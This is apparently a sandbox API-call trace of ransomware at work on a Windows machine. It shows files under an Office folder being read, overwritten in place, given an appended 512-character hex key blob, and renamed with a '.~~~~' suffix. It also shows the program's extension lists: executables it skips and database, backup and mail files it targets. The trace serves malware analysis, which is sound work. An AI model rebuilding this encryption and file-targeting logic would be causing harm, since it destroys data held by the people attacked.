	[0080.823] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0080.823] GetLastError () returned 0x0
	[0080.823] GetLastError () returned 0x0
	[0080.824] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0080.824] GetLastError () returned 0x0
	[0080.824] GetLastError () returned 0x0
	[0080.824] ReadFile (in: hFile=0x120, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x25dfec0*=0x6a3b, lpOverlapped=0x0) returned 1
	[0080.836] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffff95c5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.836] WriteFile (in: hFile=0x120, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x6a3b, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x25dfec0*=0x6a3b, lpOverlapped=0x0) returned 1
	[0080.836] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0080.838] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.838] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.838] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.838] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.838] CloseHandle (hObject=0x120) returned 1
	[0080.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x3fa7b0
	[0080.851] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.~~~~")) returned 1
	[0080.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3fa7b0 | out: hHeap=0x300000) returned 1
	[0080.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0080.857] GetLastError () returned 0x0
	[0080.857] RtlWakeConditionVariable () returned 0x365f70
	[0080.857] GetCurrentThreadId () returned 0x9f4
	[0080.858] GetCurrentThreadId () returned 0x9f4
	[0080.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27ff0d0
	[0080.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27ff728 | out: hHeap=0x300000) returned 1
	[0080.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa698 | out: hHeap=0x300000) returned 1
	[0080.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27ff728
	[0080.858] lstrlenW (lpString=".scr") returned 4
	[0080.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".scr") returned 0x0
	[0080.858] lstrlenW (lpString=".cmd") returned 4
	[0080.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".cmd") returned 0x0
	[0080.858] lstrlenW (lpString=".dll") returned 4
	[0080.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".dll") returned 0x0
	[0080.858] lstrlenW (lpString=".bat") returned 4
	[0080.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".bat") returned 0x0
	[0080.858] lstrlenW (lpString=".cpl") returned 4
	[0080.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".cpl") returned 0x0
	[0080.858] lstrlenW (lpString=".sys") returned 4
	[0080.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".sys") returned 0x0
	[0080.858] lstrlenW (lpString=".msc") returned 4
	[0080.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".msc") returned 0x0
	[0080.858] lstrlenW (lpString=".com") returned 4
	[0080.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".com") returned 0x0
	[0080.858] lstrlenW (lpString=".lnk") returned 4
	[0080.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".lnk") returned 0x0
	[0080.858] lstrlenW (lpString=".msp") returned 4
	[0080.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".msp") returned 0x0
	[0080.858] lstrlenW (lpString=".pif") returned 4
	[0080.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".pif") returned 0x0
	[0080.859] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0080.859] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0080.966] lstrlenW (lpString=".sqb") returned 4
	[0080.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".sqb") returned 0x0
	[0080.966] lstrlenW (lpString=".ost") returned 4
	[0080.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".ost") returned 0x0
	[0080.966] lstrlenW (lpString=".txt") returned 4
	[0080.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".txt") returned 0x0
	[0080.966] lstrlenW (lpString=".mdt") returned 4
	[0080.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".mdt") returned 0x0
	[0080.966] lstrlenW (lpString=".BDB") returned 4
	[0080.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".BDB") returned 0x0
	[0080.966] lstrlenW (lpString=".eql") returned 4
	[0080.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".eql") returned 0x0
	[0080.966] lstrlenW (lpString=".DBF") returned 4
	[0080.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".DBF") returned 0x0
	[0080.973] lstrlenW (lpString=".EQL") returned 4
	[0080.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".EQL") returned 0x0
	[0080.984] lstrlenW (lpString=".FDB") returned 4
	[0080.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".FDB") returned 0x0
	[0080.985] lstrlenW (lpString=".EDB") returned 4
	[0080.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".EDB") returned 0x0
	[0080.985] lstrlenW (lpString=".DACPAC") returned 7
	[0080.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".DACPAC") returned 0x0
	[0080.985] lstrlenW (lpString=".VHD") returned 4
	[0080.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".VHD") returned 0x0
	[0080.985] lstrlenW (lpString=".DBV") returned 4
	[0080.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".DBV") returned 0x0
	[0080.985] lstrlenW (lpString=".dacpac") returned 7
	[0080.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".dacpac") returned 0x0
	[0080.985] lstrlenW (lpString=".sdf") returned 4
	[0080.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".sdf") returned 0x0
	[0080.985] lstrlenW (lpString=".accdb") returned 6
	[0080.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".accdb") returned 0x0
	[0080.985] lstrlenW (lpString=".DBX") returned 4
	[0080.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".DBX") returned 0x0
	[0080.985] lstrlenW (lpString=".MDT") returned 4
	[0080.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".MDT") returned 0x0
	[0080.985] lstrlenW (lpString=".SQB") returned 4
	[0080.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".SQB") returned 0x0
	[0080.985] lstrlenW (lpString=".vhd") returned 4
	[0080.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".vhd") returned 0x0
	[0080.986] lstrlenW (lpString=".bac") returned 4
	[0080.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".bac") returned 0x0
	[0080.986] lstrlenW (lpString=".mdf") returned 4
	[0080.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".mdf") returned 0x0
	[0080.986] lstrlenW (lpString=".BAK") returned 4
	[0080.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".BAK") returned 0x0
	[0080.986] lstrlenW (lpString=".BAC") returned 4
	[0080.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".BAC") returned 0x0
	[0080.986] lstrlenW (lpString=".dbs") returned 4
	[0080.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".dbs") returned 0x0
	[0080.986] lstrlenW (lpString=".vhdx") returned 5
	[0080.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".vhdx") returned 0x0
	[0080.986] lstrlenW (lpString=".NDF") returned 4
	[0080.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".NDF") returned 0x0
	[0080.986] lstrlenW (lpString=".dat") returned 4
	[0080.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".dat") returned 0x0
	[0080.986] lstrlenW (lpString=".DBS") returned 4
	[0080.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".DBS") returned 0x0
	[0080.986] lstrlenW (lpString=".CKP") returned 4
	[0080.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".CKP") returned 0x0
	[0080.986] lstrlenW (lpString=".edb") returned 4
	[0080.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".edb") returned 0x0
	[0080.986] lstrlenW (lpString=".PST") returned 4
	[0080.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".PST") returned 0x0
	[0080.986] lstrlenW (lpString=".dbf") returned 4
	[0080.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".dbf") returned 0x0
	[0080.986] lstrlenW (lpString=".SQL") returned 4
	[0080.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".SQL") returned 0x0
	[0080.986] lstrlenW (lpString=".pst") returned 4
	[0080.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".pst") returned 0x0
	[0080.987] lstrlenW (lpString=".dbv") returned 4
	[0080.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".dbv") returned 0x0
	[0080.987] lstrlenW (lpString=".SDF") returned 4
	[0080.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".SDF") returned 0x0
	[0080.987] lstrlenW (lpString=".dtxs") returned 5
	[0080.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".dtxs") returned 0x0
	[0080.987] lstrlenW (lpString=".db3") returned 4
	[0080.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".db3") returned 0x0
	[0080.987] lstrlenW (lpString=".OST") returned 4
	[0080.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".OST") returned 0x0
	[0080.987] lstrlenW (lpString=".dbx") returned 4
	[0080.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".dbx") returned 0x0
	[0080.987] lstrlenW (lpString=".DB3") returned 4
	[0080.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".DB3") returned 0x0
	[0080.987] lstrlenW (lpString=".DAT") returned 4
	[0080.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".DAT") returned 0x0
	[0080.987] lstrlenW (lpString=".VHDX") returned 5
	[0080.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".VHDX") returned 0x0
	[0080.987] lstrlenW (lpString=".ndf") returned 4
	[0080.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".ndf") returned 0x0
	[0080.987] lstrlenW (lpString=".DB") returned 3
	[0080.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".DB") returned 0x0
	[0080.987] lstrlenW (lpString=".sql") returned 4
	[0080.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".sql") returned 0x0
	[0080.987] lstrlenW (lpString=".MYD") returned 4
	[0080.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".MYD") returned 0x0
	[0080.987] lstrlenW (lpString=".DBT") returned 4
	[0080.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".DBT") returned 0x0
	[0080.987] lstrlenW (lpString=".ACCDB") returned 6
	[0080.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".ACCDB") returned 0x0
	[0080.988] lstrlenW (lpString=".fdb") returned 4
	[0080.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".fdb") returned 0x0
	[0080.988] lstrlenW (lpString=".bak") returned 4
	[0080.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".bak") returned 0x0
	[0080.988] lstrlenW (lpString=".myd") returned 4
	[0080.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".myd") returned 0x0
	[0080.988] lstrlenW (lpString=".DTXS") returned 5
	[0080.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".DTXS") returned 0x0
	[0080.988] lstrlenW (lpString=".ckp") returned 4
	[0080.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".ckp") returned 0x0
	[0080.988] lstrlenW (lpString=".dbt") returned 4
	[0080.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".dbt") returned 0x0
	[0080.988] lstrlenW (lpString=".db") returned 3
	[0080.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".db") returned 0x0
	[0080.988] lstrlenW (lpString=".TXT") returned 4
	[0080.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".TXT") returned 0x0
	[0080.988] lstrlenW (lpString=".MDF") returned 4
	[0080.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".MDF") returned 0x0
	[0080.988] lstrlenW (lpString=".bdb") returned 4
	[0080.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".bdb") returned 0x0
	[0080.988] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0080.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.988] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0080.989] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.989] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0080.989] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0080.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce910
	[0080.989] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20097962450) returned 1
	[0080.990] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9a20fff0, dwHighDateTime=0x1d60e1e)) 
	[0080.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0080.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0080.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0080.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa890
	[0080.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa890 | out: hHeap=0x300000) returned 1
	[0080.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0080.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0080.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0080.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.990] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0080.990] GetLastError () returned 0x0
	[0080.990] GetLastError () returned 0x0
	[0080.991] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0080.991] GetLastError () returned 0x0
	[0080.991] GetLastError () returned 0x0
	[0080.992] ReadFile (in: hFile=0x120, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x25dfec0*=0x93a, lpOverlapped=0x0) returned 1
	[0080.995] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff6c6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.995] WriteFile (in: hFile=0x120, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x93a, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x25dfec0*=0x93a, lpOverlapped=0x0) returned 1
	[0080.996] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0080.996] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.996] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
